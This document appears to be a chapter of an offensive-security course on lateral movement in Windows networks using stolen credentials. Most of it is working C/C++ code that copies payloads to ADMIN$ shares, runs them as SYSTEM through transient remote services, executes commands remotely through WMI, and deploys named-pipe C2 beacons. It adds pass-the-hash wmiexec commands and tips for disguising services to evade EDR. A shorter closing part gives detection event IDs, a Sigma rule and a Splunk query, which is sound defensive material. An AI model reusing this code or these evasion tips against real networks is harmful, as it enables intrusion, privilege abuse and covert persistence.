Lateral Movement: SMB and WMI
Moving between hosts using stolen credentials: PsExec-style service installation via SMB, remote WMI process creation, WMI event subscriptions for persistence and lateral movement, and deploying SMB pipe beacons to new hosts
You've recovered a domain admin's NTLM hash via LSASS dumping. The target network has 400 Windows servers. Rather than manually using PsExec (a known-bad binary in every EDR signature), you write a service-install lateral move function that: copies your encoded payload to \\target\ADMIN$, creates a temporary Windows service pointing at it, starts it, waits for callback, then removes both the service and the binary. For hosts where SMB/445 is filtered but WMI/135+dynamic is open, you fall back to WMI Win32_Process creation. Both techniques use your stolen NTLM credentials and generate no interactive login.
Lateral Movement Decision Tree
SMB File Copy — Mapping ADMIN$
// Copy payload to remote host via SMB ADMIN$ share using a stolen hash
// Requires: local admin on target (direct or via domain admin)
BOOL SMBCopyPayload(const wchar_t* target, const wchar_t* user,
const wchar_t* domain, const wchar_t* password,
BYTE* payload, DWORD payloadLen, const wchar_t* remoteName) {
// Connect to ADMIN$ share with credentials
NETRESOURCEW nr = {0};
nr.dwType = RESOURCETYPE_DISK;
WCHAR sharePath[256] = {0};
swprintf_s(sharePath, 256, L"\\\\%s\\ADMIN$", target);
nr.lpRemoteName = sharePath;
WCHAR userDomain[256] = {0};
swprintf_s(userDomain, 256, L"%s\\%s", domain, user);
DWORD err = WNetAddConnection2W(&nr, password, userDomain,
CONNECT_TEMPORARY | CONNECT_UPDATE_PROFILE);
if (err != NO_ERROR && err != ERROR_SESSION_CREDENTIAL_CONFLICT) {
wprintf(L"[-] SMB connect failed: %lu\n", err);
return FALSE;
}
// Write payload to \\target\ADMIN$\
WCHAR remotePath[512] = {0};
swprintf_s(remotePath, 512, L"\\\\%s\\ADMIN$\\%s", target, remoteName);
HANDLE hFile = CreateFileW(remotePath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
WNetCancelConnection2W(sharePath, 0, TRUE);
return FALSE;
}
DWORD written;
WriteFile(hFile, payload, payloadLen, &written, NULL);
CloseHandle(hFile);
WNetCancelConnection2W(sharePath, 0, TRUE); // disconnect share
return (written == payloadLen);
}
Remote Service Install + Execute
// Install remote service, start it (payload executes as SYSTEM), clean up
// Classic PsExec technique — detected but still reliable when not using PsExec binary
BOOL RemoteServiceExec(const wchar_t* target, const wchar_t* svcName,
const wchar_t* exePath) {
// Connect to remote Service Control Manager
WCHAR scmPath[256] = {0};
swprintf_s(scmPath, 256, L"\\\\%s", target);
SC_HANDLE hSCM = OpenSCManagerW(scmPath, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!hSCM) {
wprintf(L"[-] OpenSCManager failed: %lu\n", GetLastError());
return FALSE;
}
// Create service pointing to our payload
// Payload path is the remote UNC path where we copied the file
SC_HANDLE hSvc = CreateServiceW(
hSCM,
svcName, // service name (short, random)
svcName, // display name
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, // manual start
SERVICE_ERROR_IGNORE,
exePath, // e.g. C:\Windows\msupdate.exe
NULL, NULL, NULL,
NULL, // LocalSystem account
NULL
);
if (!hSvc) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_EXISTS) {
hSvc = OpenServiceW(hSCM, svcName, SERVICE_ALL_ACCESS);
}
if (!hSvc) { CloseServiceHandle(hSCM); return FALSE; }
}
// Start service — payload runs as SYSTEM on the remote host
StartServiceW(hSvc, 0, NULL);
// Wait for implant to call back (sleep and poll, or use named pipe)
Sleep(3000);
// Cleanup: delete service to reduce artifacts
DeleteService(hSvc);
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return TRUE;
}
// OPSEC: service name should look legitimate
// Random string like "winsvc3b4f" is suspicious
// Use names like "WindowsUpdateHelper", "MicrosoftTelemetryService"
// Payload path: C:\Windows\System32\spool\PRTPROCS\x64\.dll is less scrutinized
// than C:\Windows\temp\.exe
WMI Remote Process Creation
// WMI Win32_Process.Create — creates process on remote host
// Uses DCOM over port 135 + dynamic high ports
// Does NOT require SMB (port 445) to be open
#include <wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
BOOL WMIExecCommand(const wchar_t* target, const wchar_t* user,
const wchar_t* password, const wchar_t* command) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
IWbemLocator* pLocator = NULL;
CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLocator);
// Connect to remote WMI namespace
WCHAR namespacePath[512] = {0};
swprintf_s(namespacePath, 512, L"\\\\%s\\ROOT\\CIMV2", target);
IWbemServices* pSvc = NULL;
HRESULT hr = pLocator->ConnectServer(
BSTR(namespacePath),
BSTR(user),
BSTR(password),
NULL, 0, NULL, NULL, &pSvc
);
pLocator->Release();
if (FAILED(hr)) return FALSE;
// Set authentication level on the proxy
CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE);
// Get Win32_Process class
IWbemClassObject* pClass = NULL;
pSvc->GetObject(BSTR(L"Win32_Process"), 0, NULL, &pClass, NULL);
// Get Create method
IWbemClassObject* pMethod = NULL;
pClass->GetMethod(L"Create", 0, &pMethod, NULL);
// Set up parameters: CommandLine, CurrentDirectory
IWbemClassObject* pInParams = NULL;
pMethod->SpawnInstance(0, &pInParams);
VARIANT vCmd;
VariantInit(&vCmd);
vCmd.vt = VT_BSTR;
vCmd.bstrVal = BSTR(command);
pInParams->Put(L"CommandLine", 0, &vCmd, 0);
// Execute Win32_Process.Create()
IWbemClassObject* pOutParams = NULL;
hr = pSvc->ExecMethod(BSTR(L"Win32_Process"), BSTR(L"Create"),
0, NULL, pInParams, &pOutParams, NULL);
BOOL success = FALSE;
if (SUCCEEDED(hr) && pOutParams) {
VARIANT vRet;
VariantInit(&vRet);
pOutParams->Get(L"ReturnValue", 0, &vRet, NULL, NULL);
success = (vRet.lVal == 0); // 0 = success
VARIANT vPid;
VariantInit(&vPid);
pOutParams->Get(L"ProcessId", 0, &vPid, NULL, NULL);
wprintf(L"[+] Process started: PID %lu\n", vPid.lVal);
VariantClear(&vPid);
VariantClear(&vRet);
pOutParams->Release();
}
pInParams->Release();
pMethod->Release();
pClass->Release();
pSvc->Release();
CoUninitialize();
return success;
}
WMIExec Output via Share (impacket-style)
# impacket wmiexec.py pattern — wraps WMI exec to capture output
# Creates a temp file via WMI, reads it via SMB
wmiexec.py domain/user:password@target "whoami /groups"
wmiexec.py -hashes :ntlmhash domain/user@target "ipconfig /all"
# What wmiexec does internally:
# 1. Create output file path: C:\Windows\__output_ on target
# 2. WMI Win32_Process.Create: "cmd.exe /Q /c whoami /groups > C:\Windows\__output_"
# 3. Wait 2-3 seconds for command to complete
# 4. Read C:\Windows\__output_ via SMB \\target\C$\Windows\__output_
# 5. Print contents, delete the output file
# Output file on target is brief (created, read, deleted in ~3 seconds)
# But forensic artifact: 4688 event for cmd.exe spawned by WMI (parent WmiPrvSE.exe)
# Plus 4663 file creation for the output file
# Cleaner alternative: output to named pipe (avoids file artifact entirely)
# Use WMI to create a process that connects to a named pipe on your machine
# Process writes output to pipe; you read it — no disk artifact on target
Deploy SMB Named Pipe Beacon to New Host
// Full lateral movement sequence:
// 1. Copy SMB pipe beacon to remote host via ADMIN$
// 2. Start it via remote service
// 3. Connect via named pipe from current implant
// This creates a P2P C2 chain (ch115 pattern) over SMB
BOOL DeployPipeBeacon(const wchar_t* targetHost,
const wchar_t* user, const wchar_t* domain,
const wchar_t* password) {
// Step 1: Copy beacon binary to ADMIN$ share
extern BYTE g_pipeBeaconBin[];
extern DWORD g_pipeBeaconSize;
if (!SMBCopyPayload(targetHost, user, domain, password,
g_pipeBeaconBin, g_pipeBeaconSize, L"winsvc32.exe")) {
return FALSE;
}
// Step 2: Start it as a service (it will create pipe \\.\pipe\svchost_update)
WCHAR exePath[512];
swprintf_s(exePath, 512, L"C:\\Windows\\winsvc32.exe");
if (!RemoteServiceExec(targetHost, L"WinSvc32", exePath)) {
return FALSE;
}
// Step 3: Connect to the pipe beacon from our current implant
Sleep(2000); // give beacon time to start and create pipe
BYTE task[8] = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BYTE result[65536]; DWORD resultLen;
DWORD cmdId = 0x01; // CMD_WHOAMI for test
if (PipeSendTask(targetHost, cmdId, NULL, 0, result, sizeof(result), &resultLen)) {
result[resultLen] = 0;
wprintf(L"[+] New host responsive: %S\n", result);
return TRUE;
}
return FALSE;
}
Detection Engineering
-- Windows Security Events for SMB lateral movement:
-- 4648: Logon with explicit credentials (WNetAddConnection2 creates this)
-- 4624 LogonType=3: Network logon (SMB connection)
-- 7045: New service installed (service creation on target)
-- 7036: Service control events (start/stop)
-- 4697: Service installed in security audit log
-- 5145: Network share access (ADMIN$ accessed)
-- WMI lateral movement events:
-- 4688 + ParentImage = WmiPrvSE.exe: command launched via WMI
-- Microsoft-Windows-WMI-Activity/Operational Event 5857: WMI activity logging
-- Sysmon Event 1: Process Create with ParentImage=WmiPrvSE.exe
-- Sigma: WMI lateral movement (remote process creation)
title: Remote WMI Process Creation (Lateral Movement)
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\WmiPrvSE.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\cscript.exe'
- '\wscript.exe'
- '\mshta.exe'
condition: selection
falsepositives: SCCM deployments, legitimate WMI automation
level: high
-- Splunk: Service install lateral movement (transient services are red flag)
index=wineventlog source=Security EventCode=7045
| eval lifetime = strptime(SystemTime,"...")
| join ServiceName [search EventCode IN (7036, 7045)]
| stats min(_time) as install_time, max(_time) as last_event
by ServiceName, ServiceFileName, Computer
| eval duration = last_event - install_time
| where duration < 60 -- service existed less than 60 seconds
| sort -install_time
Q&A
What is the difference between WMI-based lateral movement and PsExec/service-based lateral movement from a network detection perspective?
PsExec-style lateral movement requires TCP/445 (SMB) for two purposes: file transfer (copying the binary to ADMIN$ or C$) and service installation/execution (Service Control Manager protocol runs over SMB named pipes). Network monitoring that sees a new SMB connection, followed by file creation on ADMIN$, followed by SCM pipe traffic, can flag the PsExec pattern. WMI lateral movement uses DCOM/RPC: TCP/135 for the RPC endpoint mapper, then a negotiated dynamic high port (1024-65535) for the actual WMI traffic. WMI creates no SMB file copy event — the command executes directly. Network signatures for WMI are harder because: (1) the dynamic port changes per session, (2) DCOM traffic itself is common for legitimate management, (3) no file copy event precedes execution. WMI execution still generates endpoint events (4688 with WmiPrvSE.exe parent), but network-based detection is harder. In many enterprise environments, WMI traffic on dynamic ports passes through firewalls that block SMB, making WMI usable when PsExec isn't. For defenders: restrict WMI remotely where not needed (Windows Firewall rule: block DCOM inbound on endpoints), enable WMI activity logging (Event 5857/5858 in Microsoft-Windows-WMI-Activity/Operational), and alert on WmiPrvSE.exe spawning cmd.exe, PowerShell, or any network-capable process.